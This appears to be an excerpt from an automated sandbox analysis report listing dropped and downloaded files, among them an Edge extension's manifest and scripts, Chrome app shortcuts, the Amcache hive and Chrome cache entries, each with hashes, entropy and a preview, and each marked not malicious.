Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir5500_784423817\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5500_784423817\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5500_784423817\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_784423817\cbbc936b-48a8-40d3-a8b0-42c9b4b328a9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:20:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9763659369780893
Encrypted:	false
SSDEEP:	48:8NCdZjTh5hfHjcidAKZdA19ehwiZUklqehr1ny+3:82r1qS5y
MD5:	275898CCA411259692F9342130A1611C
SHA1:	0403AB6025D6354869C7E80113E745309028C225
SHA-256:	5FFCB9C2C270B642EE2A58716DC723ED55284C7D1D0C17A1756FE7D06FF16447
SHA-512:	BC8E48A7A8F6C27F2CEB66C6E92D79E652DBAE5535A0C32607965E2FC2E9F1E39609A76244355E1B2E9E815C56BFC16BCFC2FD9CB9B9126C9082DEB0A7C9D228
Malicious:	false
Preview:	L..................F.@.. ...$+.,......../X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.:....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.:....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.:....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.:..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.:...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........r........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:20:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9954498567215713
Encrypted:	false
SSDEEP:	48:8+dZjTh5hfHjcidAKZdA1weh/iZUkAQkqehC1ny+2:8sr1g9Ql5y
MD5:	56CDA64DDAB622817CA8C6DF8E8AE843
SHA1:	449B4FFCD2AC1CA9541EA3A2F61AC428A5262F03
SHA-256:	EDD1E31AF949461826DD598D4EAB721CC003D7ADC82969E0A182CC8F220077AD
SHA-512:	2DC79160BD19DB78164E080D5D96C897790A6D903BC4E472698EACC9A1294B7899567A0AB998311F341ACD32274F9991A0BD7B24C884F63CD1BEA573AE651EFF
Malicious:	false
Preview:	L..................F.@.. ...$+.,......../X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.:....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.:....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.:....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.:..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.:...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........r........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.006387990180203
Encrypted:	false
SSDEEP:	48:8xCdZjTh5sHjcidAKZdA14tseh7sFiZUkmgqeh7sc1ny+BX:8xwrk4nW5y
MD5:	DC6E091AE8C079472AB2A2A524D8A823
SHA1:	C5A3E59F5A68CCD1D894F6FC58C7A979D46E42C9
SHA-256:	6687CFF9EFBEAD840F83732457A1931DC1B44AB41F81445C063DA728146AF064
SHA-512:	E7F3994D1A7C4C92D9C6F286FAC2A288726AB49AA45449D7065742D48880E2058F644618ABDA190AB120FD2E3119B816C0A6375E0D41029B3853332B1699237E
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.:....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.:....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.:....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.:..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........r........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:20:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9938150512692765
Encrypted:	false
SSDEEP:	48:8g5dZjTh5hfHjcidAKZdA1vehDiZUkwqeh+1ny+R:8Or1rE5y
MD5:	36F7662AAE1E47877619434EF0080E2A
SHA1:	51B91B665DD6A745BC923047E1AE4889CADB3FD4
SHA-256:	418D257D9CBC6866BC59BCE00DF11473335D7C7FEDADD4E7AB726744F4F4A5D4
SHA-512:	2C842C7D405B4674E6B780C080356482C7E137EE12B8A0BD1505B6C9FD0AE5E9C804891056EC1C2294ABCC79B8AFAFDE981B9F6EC7F6A2D7F849F02D4BCE0990
Malicious:	false
Preview:	L..................F.@.. ...$+.,....w@../X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.:....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.:....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.:....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.:..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.:...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........r........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:20:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.983449776946196
Encrypted:	false
SSDEEP:	48:8wudZjTh5hfHjcidAKZdA1hehBiZUk1W1qehw1ny+C:8vr1r9Q5y
MD5:	83044A4BEFB448FE008C071B630549A7
SHA1:	E4EAE130B14AE4A7E77F9E447DB37090E6C79A45
SHA-256:	667D00CDA4FAA4F0F83C36550F03BF7AB391C705D9D388BE3A0395784F1A75CC
SHA-512:	3940030CF280BA4D670E9BC2B6C6ED86DC3FD7F4845D9BA527B427FE54A696B1312252B746E62A78CA3F1C385FC6C1BF1CCF6FF9A0D6BCD648077DF880C372BB
Malicious:	false
Preview:	L..................F.@.. ...$+.,......./X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.:....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.:....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.:....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.:..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.:...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........r........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:20:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9909239693603826
Encrypted:	false
SSDEEP:	48:8cNdZjTh5hfHjcidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbW1ny+yT+:8er1LT/TbxWOvTbW5y7T
MD5:	44E7868BDC5B56D1345D67EE8FA94948
SHA1:	70572F669678F94A513DC3A71F940F5F2B066CFE
SHA-256:	13E0D4EE0042D0FCB3EE9297C5C7274FB232E9FCB52FFC6D3F6A488443408808
SHA-512:	68A42E26139911E21F7060BEEC2530A52E5C114A830DB0DA1A577F8BE347F222119B50A84ECA282178E84F1AC0A9E799EB4C6907505C3F21D92B700B47AABD71
Malicious:	false
Preview:	L..................F.@.. ...$+.,....3.../X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.:....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.:....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.:....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.:..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.:...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........r........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4220713661455715
Encrypted:	false
SSDEEP:	6144:4Svfpi6ceLP/9skLmb0OTqlWSPHaJG8nAgeMZMMhA2fX4WABlEnNV0uhiTw:DvloTqlW+EZMM6DFyn03w
MD5:	993B428B8CDF8ECAB722FF46DC3201B8
SHA1:	88E2CCA8B8E942BC8AE303514A867C555DC4C408
SHA-256:	85DCAC04AD1F3533FE7E8C6F9718036C924360D3DF3A80692C4FAE598EA5BF3E
SHA-512:	72DD512C01498FD67969DE3A1937523F8E189E9395E665AB540B63144C2025AA737EB90D145010C18B50BC25C1BFE48A06200C76D88BB655D1502DAD2420D2EC
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmF../X...............................................................................................................................................................................................................................................................................................................................................*..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6370)
Category:	downloaded
Size (bytes):	6375
Entropy (8bit):	5.796955812384549
Encrypted:	false
SSDEEP:	192:Eh42Fd6666677GN9wozNttUYA9QN6666Vs5eMiu0rL93nT:Eh4U66666v064Cc6666xMiZXT
MD5:	892AD260188EB00B377947D4C11F8394
SHA1:	B7A704ECD76F463A3B8E97104E5117C44C345710
SHA-256:	6F0B34AA942E66028540133D1283D61A9BBD0FDFEAC7D79C58A2E82FD325A89C
SHA-512:	8C5C0DD6D49CED222E9A4199414F0F237D9B9346F748BB6BDA46C5BB139750070CC448E7A46606A2CFB5B45C899311BEAFF921B56BA5504B6FF1C478DD820C63
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["squid games","mount washington avalanche center","college football playoff brackets","aurora borealis northern lights forecast","monopoly go gingerbread gala","western wyoming snow advisory","hertz tesla rental","nosferatu 2024 vampire"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"Cg0vZy8xMW55MW4zNzU5Eg9UaHJpbGxlciBzZXJpZXMyvw5kYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFhQUFBQ0F3RUJBQUFBQUFBQUFBQUFBQUFGQmdJREJBRUgvOFFBTlJBQUFnRUNCQVFDQndjRkFBQUFBQUFBQVFJREJCRUFCUkloTVVGUllRWVRGQ0l5UW5HQmtTTWtVbUtoc2RFVk0wUEI4UC9FQUJnQkFBTUJBUUFBQUFBQUFBQUFBQ

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132739
Entropy (8bit):	5.436762659031187
Encrypted:	false
SSDEEP:	3072:fhkJQ7O4N5dTm+syHEt4W3XdQ4Q6YuSr/nUW2i6o:fIQ7HTt/sHdQ4Q6YDfUW8o
MD5:	87796B94FBC3723A64A81A5012ADA25D
SHA1:	3D7FA0468FBE557AD946D7E50358A3A836BAE3BB
SHA-256:	A3F6BB9180545F45EE4583A1F9388910A9935A876C754FBCECD03641D62DB88A
SHA-512:	76058F147B92D95965B7B2FAA1B2E40EA95067F04BCE691C746D296617163F4DFA2664A0C0ABE8F7CB3AA35BD7BF5CC301C711527D2D26F4B4B5D4D2109DF6B7
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
